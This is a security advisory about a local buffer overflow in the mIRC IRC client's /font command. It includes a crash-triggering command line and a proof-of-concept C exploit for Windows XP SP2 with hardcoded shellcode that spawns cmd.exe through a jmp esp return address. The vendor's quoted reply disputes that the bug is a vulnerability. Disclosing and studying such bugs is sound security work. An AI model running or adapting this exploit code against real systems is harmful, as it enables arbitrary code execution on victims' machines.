Summary
"mIRC is a friendly IRC client that is well equipped with options and tools." Lack of proper length validation in mIRC that leads to a local buffer overflow allows attackers to execute arbitrary code.

Credit:
The information has been provided by Crowdat Kurobudetsu.
The original article in Spanish can be found at: http://cyruxnet.org/archivo.php?20060121.00
The forum discussion can be found at: http://trout.snt.utwente.nl/ubbthreads/showflat.php?Cat=0&Number=146129&an=0&page=0#146129

Details
A local buffer overflow with the /font command in mIRC was found.
By using the command:

/font -z $readini(c:\a\a.ini,aaaaaaa ,aaaa) $readini(c:\a\a.ini,aaaaaaa ,aaaa)

The function will return null and crash. If the first parameter is null and the second parameter is a long string, it is possible to overwrite the EIP and execute arbitrary code without privileges elevation.

Vendor Status:
"As far as I can tell, this is neither an exploit nor a vulnerability. The above report describes a local bug in mIRC. The author of the report indicates that any malicious software on your computer can modify your mIRC settings to cause mIRC to crash. But if you have malicious software on your computer, you've already compromised your security..."

Exploit:
/*
mircfontexploitXPSP2.c

This PoC it's for XP SP2 English
Special thanks to Racy from irc-hispano
*/

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

int main () {
HWND lHandle;
char command[512]= "/font -z $null";
char strClass[30];
char buffer[128]=
"\x20\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";

char shellcode[999]=
"\x55"
"\x8B\xEC"
"\x33\xFF"
"\x57"
"\x83\xEC\x04"
"\xC6\x45\xF8\x63"
"\xC6\x45\xF9\x6D"
"\xC6\x45\xFA\x64"
"\xC6\x45\xFB\x2E"
"\xC6\x45\xFC\x65"
"\xC6\x45\xFD\x78"
"\xC6\x45\xFE\x65"
"\x8D\x45\xF8"
"\x50"
"\xBB\xc7\x93\xc2\x77"
"\xFF\xD3";

//Shellcode system("cmd.exe"), system in \xc7\x93\xc2\x77 0x77c293c7
(WinXP Sp2 English)

char saltaoffset[]="\xD6\xD1\xE5\x77"; // jmp esp 0x77E5D1D6 (advapi32.dll)

SetForegroundWindow(lHandle);
lHandle = FindWindowEx(FindWindowEx(FindWindowEx(FindWindow("mIRC",
NULL), 0, "MDIClient", 0),0, "mIRC_Status", 0), 0, "Edit", 0);

if (!lHandle) { printf("Can't find mIRC\n"); return 0; }

strcat(buffer,saltaoffset);
strcat(buffer,shellcode);
strcat(command,buffer);
printf("mIRC Font Command Exploit: %s\n", command);

SendMessage(lHandle, WM_SETTEXT,0,(LPARAM)command);
SendMessage (lHandle, WM_IME_KEYDOWN, VK_RETURN, 0);
}